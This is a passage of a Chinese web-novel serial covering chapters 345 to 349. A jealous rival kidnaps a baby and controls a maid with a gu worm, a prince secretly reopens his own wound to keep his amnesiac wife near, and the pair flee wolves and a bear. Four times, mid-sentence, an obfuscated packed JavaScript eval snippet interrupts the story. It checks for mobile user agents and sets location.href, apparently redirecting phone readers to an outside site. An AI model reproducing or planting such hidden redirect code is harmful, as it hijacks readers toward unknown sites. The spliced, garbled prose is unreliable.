“天泽,你冷静点!别去!这说不定就是那个景王设下的圈套,他就是故意在等你!你现在要是去了,不就是自投罗网吗!” “那又如何!”姜天泽双目赤红,像一头被逼到绝境的困兽,“难道就这样眼睁睁看着阿宁再次落入他手中吗?” 他咬着牙,每一个字都像是从牙缝里挤出来的,充满了愤恨与不甘。 他好不容易才盼来的,能和姜姝宁光明正大在一起的机会,如今又要被萧凌川这个阴魂不散的男人亲手打碎。 “无论如何,我是绝对不会让你去冒险的!”姜三夫人的态度异常坚决,“天泽,母亲知道你心里只有阿宁,可现在不是冲动的时候!若是没有十全的把握,你千万不能跟景王硬碰硬!否则你会没命的!” 母亲的话让姜天泽眼中的狂乱渐渐褪去,取而代之的是一种更为深沉的冰冷。 他像是突然想到了什么,那股翻涌的怒火被一股阴戾之气迅速压下,凝聚成一点寒光。 他慢慢地,一字一顿地开口,声音不大,却透着一股叫人不寒而栗的笃定。 “说起来,我还真有把握,把阿宁从景王这个魔鬼手中,再夺回来一次!” 第345章 余生都活在爱而不得的痛苦中 第三百四十五章余生都活在爱而不得的痛苦中 南朔,一间不起眼的客栈,凌芜正抱着一个七八个月大的婴孩,百无聊赖的哄着。 门“吱呀”一声被推开,冷风裹挟着夜的寒意灌了进来。 凌芜回头,看见是易容后的姜天泽,她眼睛顿时亮了:“三少爷,你回来了?我可以去见大小姐了吗?” 她的话音未落,一道劲风扑面而来。 姜天泽那张易容后的脸上布满阴云,他将一包白色的粉末便尽数撒向凌芜。 凌芜的笑容凝固在脸上,下一刻,她身子一软,直直向后倒去。 她怀里的婴孩失去了支撑,惊叫着向地上摔去。 “哇——!” 千钧一发之际,姜天泽一个箭步上前,堪堪将孩子捞进怀里。 那孩子被这突如其来的变故吓得不轻,刚脱离危险,便扯开嗓子放声大哭起来。 姜天泽笨拙地抱着孩子,神情愈发烦躁。 他身后,姜三夫人快步跟了进来,她看着姜天泽怀中啼哭不止的婴孩,眉头紧紧蹙起:“这就是……宁儿和景王的儿子?” “是。”姜天泽的声音像是从冰窖里捞出来的,没有一丝温度,“这孩子被养在景王府,我费了不少功夫才偷出来的。” 他低头,看着怀里的孩子,恨意与快意交织,让他的表情变得有些扭曲。 “现在,萧凌川的亲生儿子在我手里。他要是不放阿宁,我就杀了他的孩子,让他后悔一辈子!” “天泽!”姜三夫人被他话里的狠戾吓了一跳,连忙道,“万一……他不肯呢?那景王就是个彻头彻尾的疯子,他未必会受你威胁!你若是真动了这孩子,阿宁会恨你一辈子的!” 她也是母亲,深知对任何一个母亲而言,孩子就是绝对不可碰触的逆鳞。 姜天泽的胸膛剧烈起伏,母亲的话,像一盆冷水,兜头浇下。 他不得不承认,这个可能性很大。 若是他,若是有人拿着他和阿宁的孩子来威胁他,让他交出阿宁,他会毫不犹豫地放弃那个孩子。 阿宁才是他的命。 而萧凌川那个疯子,只会比他更极端,更不择手段! 一股无力感瞬间攫住了他,方才的狠戾和得意荡然无存,只剩下深入骨髓的恐慌。 他像是被抽走了所有力气,声音都带上了颤抖:“母亲……我该怎么办?我真的……没法眼睁睁看着阿宁继续留在他身边!” 他会被妒意和恨意摧毁,吞噬,余生都活在爱而不得的痛苦中。 姜三夫人沉默了片刻,目光落在地上昏迷不醒的凌芜身上,眼中闪过一丝精光。“或许,我们可以利用阿宁从前的这个婢女。让凌芜把她带出来!” 姜天泽顺着她的视线看去,眉头紧锁:“她?可阿宁已经失忆了,根本不认得她,怎么可能跟她走?” “失忆了才更好办!”姜三夫人的声音里透着一丝算计,“以阿宁的性子,就算忘了所有事,也忘不了她对孩子的疼爱。你只要让凌芜这丫头告诉她,她的亲骨肉在你身边,你觉得她会不会想尽一切办法出来?” 她顿了顿,又补充道:“凌芜这丫头武功不错,只要利用得当,把阿宁从衙门里带出来,绝对不是难事!” 姜天泽眼里的绝望渐渐被一点阴冷的亮光取代。 对,阿宁最在乎的就是孩子。 这是她的软肋。 若知道她的孩子在他手中,她一定会不顾一切来见自己! “好。”他点了点头,把孩子递给姜三夫人,从怀中取出一个小巧的木盒,“我现在就给她下蛊,让她为我所用。” 他蹲下身,粗暴地捏开凌芜的下颌,将木盒里一枚黢黑、状如米粒的蛊虫卵塞进了她的嘴里。 做完这一切,他站起身,静静等待着。 屋子里的哭声不知何时已经停了,那孩子许是哭累了,在姜三夫人的怀里抽噎着睡去。 约莫半盏茶的功夫,地上的凌芜眼皮动了动,幽幽转醒。 她缓缓坐起身,一双原本灵动的眼睛此刻却变得空洞呆滞,像一具被抽走了魂魄的木偶。 姜天泽居高临下地看着她,用一种不容置喙的命令口吻,一字一句地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369237|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“凌芜,你现在去衙门,就说景王府的小世子被人偷了。绑匪要景王放了姜家大小姐,否则,就要了小世子的命!” 他停顿了一下,盯着凌芜毫无神采的眼睛,声音更沉了几分,“然后,无论他是什么反应,你都要想办法,偷偷把这孩子在我手上的事告诉大姐姐。告诉她,只要她愿意跟你走,就能见到她的儿子。让她跟你一起离开,来找我!” 凌芜像个提线木偶,动作僵硬地缓缓点头:“奴婢……知道了。” 姜天泽新炼的子母蛊还不完善,受距离所限,他必须待在凌芜附近才能保证蛊虫的效力。 他不敢大意,只能远远地跟在她身后,一路往衙门的方向走去。 夜色深沉,他隐在暗巷的阴影里,看着凌芜的身影消失在街角。 **的是,凌芜一脱离他的视线,那副呆滞空洞的表情便瞬间消失得无影无踪。 她快步拐进另一条无人的小巷,扶着墙,猛地弯下腰,一阵剧烈的干呕。 “呸!” 她吐出一口带着血丝的唾沫,里面混杂着一小团被咬得稀烂的黏腻物。 一股恶心感直冲天灵盖。 南月毒师母子,手段果然阴损恶心! 用蛊虫这种邪门歪道控制人,简直不是东西! 早在姜天泽让她留在客栈,照顾“小世子”时,她便提前吞下了一颗从前孙神医给她的特制药丸。 这药丸能解百毒,更能抵御寻常的**。 方才那点软筋散,不过是让她一时脱力罢了,她的神智自始至终都清醒得很。 假装晕倒,不过是为了听听这对蛇蝎母子究竟在打什么鬼主意。 却没想到,听到了一个让她震惊无比的消息。 王妃竟然失忆了! 难怪……难怪王妃迟迟没有回京城! 难怪她会跟姜天泽这个居心叵测的家伙在一起! 不行,王妃失忆这事要尽快告诉王爷! 凌芜的眼神瞬间变得无比锐利。 她抹了把嘴角,迅速整理好仪容,朝着衙门的方向疾步走去。 第346章 让她重新爱上他 第三百四十六章让她重新爱上他 “姝宁失忆了?”萧凌川声音里透着一丝不易察觉的错愕。 他以为姜姝宁是想逃避他的纠缠,装不认识他,这几日还故意不揭穿她,陪她玩这场猫鼠游戏。 没想到,她是真的不认得他了。 难怪。 难怪她看他的眼神,除了畏惧,更多的是茫然和疏离。 “千真万确,是南月毒师母子说的。而且,属下还知道,如今在衙门里的那位女医便是王妃,她易容了,所以跟从前不一样。”凌芜急切道,生怕王爷错过和王妃相认。 “本王知道。”萧凌川看向凌芜,声音沉了下去,那点错愕瞬间被阴鸷取代,“你说南月母子还在这南朔城?” “是!”凌芜肯定地点头,“他们以为我中了蛊毒,会把王妃带出去,正在衙门外等着呢。他们还准备利用手里的孩子威胁王爷,逼王爷交出王妃来!” “不自量力!”萧凌川冷嗤一声,眉梢眼角是藏不住的讥讽,“拿着一个赝品,也敢来威胁本王!” “他们不知道他们带走的是假的小世子。”凌芜想起那个在襁褓中啼哭不止的婴儿,心头莫名一软,涌上一阵不忍,“王爷,属下怕姜天泽会对那孩子不利。” 虽然不是王爷的亲生骨肉,那终究是个无辜的生命,她实在不忍心眼睁睁看着他被卷入这场风波。 “不用担心。”萧凌川的语气没有丝毫波澜,眼神冷得像深冬的寒潭,“他以为那是姝宁的骨肉,想来也不至于下死手。况且,” 他顿了顿,唇角扯出一个森然的弧度,“本王也不打算给他拿孩子威胁本王的机会!来人!” 话音刚落,门外候命的副将立刻推门而入,单膝跪地:“王爷请吩咐!” “衙门外有一名年轻男子和一个年长妇人,你带人将他们拿下!”萧凌川的声音不大,却带着不容置喙的威压,“小心防着他们,他们会用毒!” “是,王爷!”副将领命,身影很快消失在夜色里。 屋子里重新恢复了安静,只剩下烛火偶尔爆开的噼啪声。 副将离开后,凌芜满怀期待地问:“王爷,那……属下可以去见王妃了吗?” 她已经太久太久没有见到王妃了。 之前以为她**,难过得哭了好几天。 “现在还不是时候。”萧凌川毫不犹豫地拒绝了她。 凌芜眼里的光瞬间黯淡下去,她苦笑一下:“也是,王妃失忆了。她记不起我了,我这么冒冒失失地冲过去,怕是只会吓到她,定是不愿意和我亲近的。” 萧凌川沉默不语,深邃如渊的眼眸中光影交错,晦暗不明,令人无从揣测他心底的真实思绪。 姜姝宁失忆了。 这对他而言,并非是坏事。 他们今生之所以走到如今这番破碎境地,连破镜重圆都成了奢望,皆是因为她心中始终忘不了前世他对她的伤害。 那些记忆宛如一道深不见底的沟壑,横亘在两人之间,任凭他如何挣扎弥补,始终无法跨越半步。 如今,她将一切忘得干干净净。 她不再记得他曾是那个铁石心肠的景王,是那个亲手将她推入绝望深渊的夫君。 只要他温柔以待,耐心相守,他完全可以重新走进她的世界,让她重新爱上他。 这一次,他绝不会让任何隔阂与仇恨玷污他们的感情,他们的缘分,定能在今生开花结果。 想到这里,萧凌川紧绷了一晚上的嘴角,终于抑制不住地向上扬起。 一丝笑意从他唇边蔓延开来,驱散了眉宇间的冷厉与阴沉。 那笑意并不温暖,反而带着一种志在必得的侵略性,却让他那张本就俊美无俦的脸,在摇曳的烛光下,愈发显得惊心动魄,惹眼至极。 就好像一只蛰伏许久的猛兽,终于等到了猎物最脆弱无防备的一刻。 —— 夜色如墨,副将带着一队精兵,脚步轻捷,悄无声息地包抄过去。 他眼尖,一眼就瞧见了街角那对鬼鬼祟祟的身影——一个抱着襁褓的年轻男人,身边跟着个年长的妇人,正焦急地四下张望。 不过是个身形瘦弱的少年和一个手无缚鸡之力的妇人,能有多大本事? 王爷也太过谨慎了。 副将心里不以为然,他打了个手势,官兵们如狼似虎地扑了上去,眼看就要将二人拿下。 就在此时,那原本看起来柔弱的妇人猛地直起身,袖中一抖,一捧五彩斑斓的粉末便如烟雾般炸开。 一股刺鼻的辛辣味直冲鼻腔,副将眼前瞬间一片模糊,泪水不受控制地狂涌而出。 周遭的官兵们更是狼狈,一个个捂着眼睛满地打滚,咳嗽声此起彼伏,阵型大乱。 “该死!”副将用力揉着刺痛的双眼,视线在模糊与清晰之间挣扎,只能依稀看到那对母子趁乱钻进一条窄巷,眨眼便不见了踪影。 功劳飞了,还折了人手,自己竟轻敌到如此地步! 副将心中懊悔得恨不能捶胸顿足。 他拖着沉重的步子回到衙门,一路上都在腹中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369238|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打着草稿,该如何向王爷请罪。 可当他走到回廊下,却见萧凌川径直朝着姜女医母子所在的厢房走去。 那背影挺拔,步履间却透着一股说不清道不明的急切。 副将心里一个咯噔,连忙就要跟上去。 “站住。”一道清冷的女声自身后响起。 他一回头,只见凌芜不知何时已悄然立于暗影之中,像一柄出了鞘的利剑,挡住了他的去路。 “王爷有私事要与姜女医商议,你不得打扰。”凌芜的语气平淡,却带着不容置喙的命令。 副将一愣,上上下下打量着这个陌生的女人:“你是何人?我怎么从未见过你?” “我是王爷栽培的暗卫,你自然没见过。”凌芜面不改色。 “原来是王爷身边的暗卫,失敬失敬!”副将抱了抱拳,接着朝着那紧闭的房门努了努嘴,压低了声音,“暗卫姑娘,你有所不知,那姜女医可不是什么省油的灯!王爷身上的伤,八成就是她干的!咱们可不能让王爷跟她单独待着,万一……” “胡说。”凌芜蹙眉打断他,“王爷何等身手,姜女医一个弱女子,如何能伤到王爷?” “千真万确啊!”副将急得直跺脚,“就在不久前,王爷才和她独处片刻,胸口就多了一道血口子,那血……那血都快把地给染红了!哎呀,暗卫姑娘,您就别拦着我了!我还要靠着王爷建功立业呢!王爷若是有个三长两短,我可怎么办!” 他越说越觉得事态严重,王爷的安危大于天! 也顾不上什么规矩了,一把推开凌芜,三步并作两步冲到门前,不由分说地用力将房门“砰”地一声推开。 门内的景象,让副将瞬间石化。 只见萧凌川衣衫半敞地斜靠在椅子上,一副慵懒散漫的模样,而立在他面前正在帮他包扎伤口的姜姝宁则双颊绯红,连耳根都烧得通红,目光死死落在他的伤处,不敢移开半分。 空气中弥漫着一股旖旎的暧昧气息。 听到开门声,萧凌川缓缓地抬起头。 他脸上的浅笑褪去,取而代之的是一片阴沉的寒霜。 那双深邃的眼眸,此刻犹如两口不见底的寒潭,里面翻涌着毫不掩饰的阴鸷与杀意,死死地钉在门口的副将身上。 空气仿佛在这一刻凝固,温度骤降。 副将下意识地咽了口唾沫,只觉得后颈窝一阵阵发凉,冷汗顺着脊背就流了下来。 他……好像……坏了王爷的好事。 完了,这回怕是真的离完蛋不远了! 第347章 他用自残的方式,将她留在身边 第三百四十七章他用自残的方式,将她留在身边 还不等副将回过神来,凌芜便默不作声地走了进来,一把扣住他的肩膀,直接将他拽出了屋子。 “砰”的一声轻响,门栓落下。 厢房内,死一般的寂静。 方才那点暧昧的气氛被搅得一干二净,只剩下令人窒息的尴尬。 “大人,请您把衣衫穿上!”姜姝宁几乎是咬着牙说出这句话。 光天化日,袒胸露背,成何体统! 难怪方才那副将一脸撞破**的惊骇模样! 萧凌川却像是没听见她话里的火气,他懒洋洋地靠在椅背上,唇角那点笑意非但没收敛,反而更深了,像在水中漾开的墨,带着几分邪气。 “本官的伤就在胸口,”他伸出骨节分明的手指,点了点那道被她包扎了一半的伤口,“不敞开衣衫,姜女医要如何换药?” 他的声音低沉,带着一丝伤后特有的沙哑,在这安静的厢房里,像羽毛一样轻轻搔刮着她的耳膜。 姜姝宁被他这副理所当然的无赖模样气得血气上涌,忍无可忍:“既然大人伤在如此隐私的部位,不如请一位男大夫来为您诊治!也省得惹人非议!” 萧凌川挑了挑眉,那双深邃的眼眸直勾勾地望着她,仿佛要将她看穿。 “怎么,姜女医还挑病患?”他轻笑一声,“不是说医者父母心,在你们眼里,病患不分男女的吗?还是说……” 他故意顿了顿,身子微微前倾,那张俊美得过分的脸在她眼前放大,属于他的木质冷冽气息不容拒绝地将她笼罩。 “姜女医,是因为本官芳心大乱?” 轰的一声,姜姝宁脑子里最后一根名为“镇定”的弦,彻底崩断。 她几乎是落荒而逃。 从那天起,萧凌川像是变了一个人。 先前那股子阴阳怪气的劲儿消失得无影无踪,取而代之的是一种无孔不入的侵占。他似乎铁了心要钻进她的生活,钻进她的心底。 除了夜晚歇息,他几乎无时无刻不与她待在一起。 清晨,她刚端着药碗走出房门,他便已一身常服,等在院中的石桌旁。 见她出来,便会自然而然地开口:“姜女医,正好,一起用早膳。” 午后,她在院子里整理药材,他便会搬了张椅子坐在廊下,手里捧着一卷书,目光却总是不着痕迹地落在她身上。 阳光透过屋檐,在他身上投下斑驳的光影,让他整个人看起来都柔和得不像话。 他甚至会帮她照看小邺君,小家伙在他怀中显得局促不安,却又乖巧得像一只温顺的小猫,不敢有半点造次。 他偶尔垂眸看小邺君,眼底的柔情仿佛春日融雪,温润得几乎要满溢而出。 姜姝宁远远看着这一幕,心头没来由地一紧,总觉得这画面过于亲昵,刺得她眼底发酸。 她下意识快步上前,伸手想要将小邺君抱回自己怀中,却不料萧凌川的手掌“不经意”地拂过她的手背。 那一瞬间的触碰,像是微弱的电流划过肌肤,带着灼热的温度,让她整个人僵在原地,心跳如擂鼓,久久无法平息。 他的举动不是带着试探的暧昧,而是一种明目张胆的、带着强烈占有欲的示好。 老实说,姜姝宁怕得要死。 本能告诉她,这个男人很危险。 之前的他像一头蛰伏的猛兽,虽然可怕,但至少她知道他的獠牙在哪里。 现在的他,却像一片温柔的沼泽,用最无害的表象,引诱着她一步步深陷,直到被彻底吞噬,尸骨无存。 他的动机到底是什么? 这个疑问让姜姝宁坐立不安。 她只能暗暗祈祷萧凌川的伤势早日痊愈,唯有如此,她才能带着小邺君尽快逃离这个男人——这个用温柔织就陷阱、步步紧逼、企图让她彻底沦陷的危险人物。可偏偏事与愿违。 萧凌川的伤势反反复复,总在看似要痊愈的关头,急转直下。 前一日换药时,那狰狞的伤口明明已经结了层薄痂,边缘的皮肉也长出了新鲜的粉色。 她几乎以为再过几日,便可功成身退。 谁知第二日清晨,揭开纱布,那伤口竟又一次裂开,流出血水,甚至还化了脓。夜晚他就发起了高烧。 男人躺在床上,往日里那张冷峻逼人的脸颊烧得通红,嘴唇干裂起皮,眉头死死拧在一起,连在昏睡中都透着一股难言的痛苦。 姜姝宁心底那点好不容易筑起的防备,就这么轻易地被他这副脆弱的模样击得粉碎。 她终究是个医者。 她彻夜未合眼,一边喂他喝下苦涩的药汤,一边用冰凉的湿帕反复敷在他滚烫的额头,试图降下那骇人的高热。 直到天际泛起鱼肚白,他的体温才总算缓缓退去,呼吸也变得平稳。 为了让他能尽快康复,她甚至主动揽下了厨娘的活计。 每日厨房挑拣最新鲜的食材,借用小火慢炖,为他熬制那些补气养血的汤药。 可那伤口开裂化脓的情形,还是隔三差五便要冒出来折磨他一次。 直到那日午后。 她算着时辰,端了新熬的药去他房里,却发现房门虚掩着。 她正要推门,却听见里面传来一声极力压抑的、夹杂着剧痛的抽气声。 她的心猛地一紧,以为他伤口又出了什么变故,下意识从门缝里朝里望去。 只一眼,她整个人便如遭雷击,僵在了原地。 萧凌川正侧身坐在床沿,上身的衣衫褪了一半,露出线条分明的背脊和结实的臂膀。 他微微弓着身子,一只手紧紧攥着床沿,手背上青筋暴起。 而另一只手,正拿着一块不知从哪里找来的尖锐碎瓷,一下,又一下,狠狠地划过自己胸前那道刚刚结痂的伤口! 新生的皮肉被残忍地撕开,鲜红的血液争先恐后地涌出,瞬间染红了胸前的绷带。 他疼得浑身都在颤抖,额上冷汗涔涔,可手上的动作却没有半分停顿,仿佛在执行一个神圣而疯狂的仪式。 姜姝宁差点端不稳手中的药碗。 那一瞬间,她感觉自己浑身的血液都凉透了,从头到脚,一片冰寒。 一个荒谬到极致,却又可怕到让她战栗的念头,轰然炸开在她的脑海里。 是他亲手让自己的伤口一次次溃烂,一次次恶化,用这种近(乎)自残的、疯子一样的手段,强行将她留在这里! 这个认知,比世间任何一种酷刑都让她感到惊恐。 难道,他当真……对她动了心? 这个念头让她有些喘不上气来。 他到底喜欢她什么? 喜欢她无微不至的照顾? 可她做的这一切,不过是一个医者对病患应尽的本分。 换做任何一个大夫,都会如此! 喜欢她这张脸吗? 姜姝宁下意识地摸上自己的脸。 这张脸,根本就不是她的! 他喜欢的,迷恋的,或许不过是一个虚假的幻影,属于一个化名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376168|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为“江书”的女医罢了! 不行,不能再这样下去了。 这个男人的偏执和疯狂已经超出了她的想象,再任由他发展下去,她怕自己会被他拖进万劫不复的深渊。 她必须立刻结束这一切! 深吸一口气,姜姝宁敛去所有情绪,换上一副冷然神情,再次走进了他的屋里。 她目不斜视,仿佛没有看到他胸前那刺目的血红,只淡淡开口:“大人的伤口迟迟未愈,想来是民女配置的药方中,缺少了一味至关重要的药引。” 萧凌川不动声色地拉上衣衫,遮住那片狼藉,沉声问:“什么药?” “火莲。”姜姝宁直视着他,一字一顿,“此药只生长在南朔后山的悬崖峭壁上,能清热解毒,去腐生肌。无论如何,民女今日都要采到那味药!” 她的语气斩钉截铁,带着不容置喙的坚决。 “不行,”萧凌川想也不想便拒绝,“那地方太险峻,你不能去。” “那大人的伤,就打算一辈子这么拖着吗?”姜姝宁冷笑一声,言语间满是讽刺。 萧凌川被她堵得一噎,那双深邃的眼眸紧紧锁着她。 想来,是他的伤迟迟未愈,引起她的怀疑。 半晌,他终于妥协:“好,本官陪你去。” 南朔的悬崖,如被巨斧生生劈开的山体,陡峭,嶙峋,寸草不生。 凛冽的山风呼啸而过,刮在人脸上,像刀子一样疼。 火莲就生长在离地约莫三四丈高的石缝里,红得像一团燃烧的火焰。 以萧凌川的武功,飞身上去采摘本是易如反掌。 可他胸口的伤是新添的,此刻正一抽一抽地剧痛着,每一次呼吸都牵扯着神经,根本无法动用内力。 姜姝宁自然也不会允许他这个“病患”冒险。 她将带来的绳索系在腰间,抬头看了一眼那几乎垂直的崖壁,没再多说一个字,便手脚并用地开始向上攀爬。 她到底不是专业的采药人,对山壁的路况不熟,体力也渐渐不支。 “砰!” 第一次,她脚下一滑,从半丈多高的地方摔了下来,虽然不重,却也摔得七荤八素。 萧凌川的心猛地揪紧,想上前扶她,却被她冷着脸避开。 她拍了拍身上的尘土,一声不吭,继续往上爬。 第二次,她抓住的一块岩石松动了,整个人又一次滑落,手心被粗糙的石壁磨得鲜血淋漓。 萧凌川的脸色已经难看到了极点,他看着她掌心那片刺目的红,心中的悔意如潮水般涌来。 早知她如此执拗,早知她为了医好自己,竟愿意做到这个地步……他就不该……他就不该用苦肉计将她留在身边! 他看着她单薄却倔强的背影,嘴唇动了动,几乎就要将真相脱口而出。 可就在这时,意外发生了。 姜姝宁已经爬到了近一丈高的地方,她奋力伸出手,指尖几乎就要触碰到另一块壁岩。 她脚下用力,想再往上一些,却一脚踩空! “啊——!” 一声短促的惊呼划破风声。 她的身体像一片被狂风吹落的叶子,直直地从山壁上坠落下来。 萧凌川的瞳孔骤然紧缩。 那一刻,所有的理智、所有的算计、所有的伪装,全都灰飞烟灭。 他脑中一片空白,身体已经先于思想做出了反应。 他几乎没有半分犹豫,如离弦之箭般冲了上去,张开双臂,迎向那道坠落的身影—— 第348章 遭遇狼群 第三百四十八章遭遇狼群 巨大的冲力让萧凌川猝不及防,两人抱着在地上滚了几圈,竟顺着斜坡跌到了悬崖底下。 翻滚中,姜姝宁只觉得天旋地转,耳边是呼啸的风声和碎石草木刮过身体的刺啦声。 唯一清晰的,是箍在自己腰间那双铁钳般的手臂,和一声压抑在她耳边的闷哼。 他将她死死地护在怀里,用自己的身体承受了所有滚落时的撞击与摩擦。 不知过了多久,一切终于停下。 姜姝宁悠悠转醒时,闻到了一股混杂着泥土的浓郁血腥味。 她才发现自己整个人都趴在一个温热的胸膛上,脸颊贴着的衣料,湿漉漉,黏糊糊。 映入眼帘的是萧凌川苍白如纸的脸。 他双目紧闭,长长的睫毛在眼下投出一片青色的阴影,嘴唇毫无血色,已然陷入了昏迷。 “大人?”她心头一紧,伸手去推他的肩膀,“大人,你醒醒!” 他毫无反应。 她的视线下移,落在他胸口。 那里,本就未曾痊愈的伤口再一次裂开,暗红的血正不断地从衣料下渗出,将他身前的袍子染成一幅触目惊心的画。 她被吓了一跳,慌忙查看他身上的伤势。 他背后的衣衫早已被磨得稀烂,破布混着血肉粘连在一起,露出底下大片大片翻卷的皮肉和深可见骨的划伤。 碎石与草屑嵌在他的伤口里,鲜血还在丝丝缕缕地往外冒,将他身下的土地都浸染成了暗色。 方才滚下来时,他一直紧紧抱着自己……身上的伤,全是为了护住她才造成的。 姜姝宁心中后悔不已。 她原本想用自己攀爬山崖摘取火莲受伤一事,来让他产生愧疚,从而停止自残这种损人不利己的行为。 可她从未想过,他会毫不犹豫地冲过来接住她。 看着他这一身狰狞的伤痕,姜姝宁的心脏像是被一只无形的手狠狠攥住,又酸又胀,疼得她几乎喘不过气。 自己……真的值得他如此不顾一切吗? 她到底哪一点配得上他这般以命相护? 懊悔和一种说不清道不明的酸涩情绪,如潮水般将她淹没。 她顾不上自己身上的疼痛,手忙脚乱地从怀中掏出一个瓷瓶。 幸好,这瓶金疮药还在。 她先撕下自己一截干净的内衬袖子,跑到不远处一条潺潺的小溪旁将布料浸湿,用来擦拭萧凌川身上的血迹。 触碰到他背后的伤口时,昏迷中的萧凌川发出一声痛苦的呻吟,眉头紧紧蹙起。 姜姝宁连忙放缓了力道,一点一点,极其耐心地为他擦拭伤口边缘的污泥与血迹,生怕弄疼了他。 “对不起……大人……都怪我……”她无意识地喃喃着,声音里带着自己都未曾察觉的哽咽。 好不容易帮他擦完药,天色却在不知不觉中暗了下来。 山谷里的光线迅速消散,只剩下天边一抹残存的血色晚霞。 血腥味在渐冷的空气里弥漫开来,成了一个致命的讯号。 “嗷呜——” 一声悠长而凄厉的狼嚎,从远处的山林间传来,划破了山谷的寂静。 紧接着,此起彼伏的嚎叫声从四面八方响起,一声比一声近。 姜姝宁的血液仿佛在瞬间凝固了,她猛地抬头望向幽暗的林中,脸色煞白。 宛如鬼火般的幽蓝色亮光在黑暗中亮起,朝他们步步逼近。 是狼! 这浓重的血腥味,把狼群引来了! 她看着地上昏迷不醒的萧凌川,一股彻骨的寒意从脚底直冲头顶。 她一个人,根本拖不动他! 留在这里,他们两个都会成为狼群的盘中餐。 情急之下,她也顾不得那么多了,找准他的人中,用尽全身的力气狠狠掐了下去。 “唔……”萧凌川发出一声闷哼,长长的睫毛颤动了一下,终于缓缓睁开了眼睛。 那双深邃的眸子起初还有些迷茫,但在看清她满是惊恐的脸后,瞬间恢复了清明。 “大人,不好了,有狼群!”姜姝宁的声音都在发抖,带着哭腔。 萧凌川的神色骤然一变。 他那身临沙场的凛冽杀气瞬间迸发,几乎是本能地一把将她死死揽进怀里,用他仅存的力气支撑着站了起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376169|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>剧烈的动作牵扯到他全身的伤口,他身体猛地一晃,却咬牙撑住了。 “跟紧我!”他声音嘶哑,却透着不容置疑的命令。 他甚至没有去看狼群的方向,径直拖着重伤的身体,护着她朝狼嚎声相反的方向踉跄而去。 黑暗中,一双双幽绿色的眼睛在他们身后亮起,如同鬼火,阴森而又贪婪。 它们穷追不舍。 姜姝宁吓得魂飞魄散,只能将脸埋在他温热却因失血而微微发冷的怀里,以此来抵抗恐惧对她的侵袭。 不知跑了多久,就在姜姝宁觉得自己的肺都快要炸开时,他们踉跄着来到一个黑漆漆的山洞口。 一股极其难闻的、混杂着腐肉和动物腥臊的恶臭扑面而来,熏得她几欲作呕。 可也就在此时,身后那些紧追不舍的狼群像是察觉到了什么,追逐的脚步戛然而止。 它们在洞口不远处焦躁地徘徊着,喉咙里发出阵阵不安的呜咽声,最终夹着尾巴,不甘地退回了黑暗的密林中。 姜姝宁长长松了一口气,双腿一软,几乎要瘫倒在地。 “它们……走了……” 她话还没说完,就听到萧凌川用一种比面对狼群时还要凝重的声音,沉声道:“快走,这里是熊洞!” 姜姝宁脑子一懵,心跳几乎停滞。 熊洞?! 她瞬间明白了,狼群方才那夹着尾巴的仓皇逃窜,是对这洞穴真正主人的本能恐惧! 萧凌川声音低沉,透着不容置疑的急迫:“别慌张,往外跑!” 她还没回过神,就被他一把拽住手腕,踉跄着朝洞外冲去。 洞内腥臭扑鼻,黑暗中隐约传来低沉的呼吸,像沉睡巨兽的鼻息。 姜姝宁脖颈发凉,汗**倒竖,脚下却不敢慢半分。 刚冲出洞口,冷风一刮,她才猛地喘上一口气。 萧凌川却没停,拖着她继续往前,步伐虽急却有些踉跄。 “大人,你伤……” “专心跑,别说话!”他低喝打断,就在这时,身后洞内传来一声低吼,沉闷震耳,像大地在颤。 姜姝宁瞬间毛骨悚然——是熊! 第349章 死里逃生 第三百四十九章死里逃生 “别回头!”萧凌川猛地拽了她一把,语气凶狠,像是咬牙切齿,“想死就停下!” 她哪敢停,腿软得像踩在棉花上,却硬撑着往前奔。 身后吼声越来越近,夹杂着沉重的脚步,地面都在轻晃。 夜色浓重,山间小路崎岖,姜姝宁跑得满头大汗,眼前的路却模糊一片。 她攥紧萧凌川的手,掌心湿滑,满是血与汗。 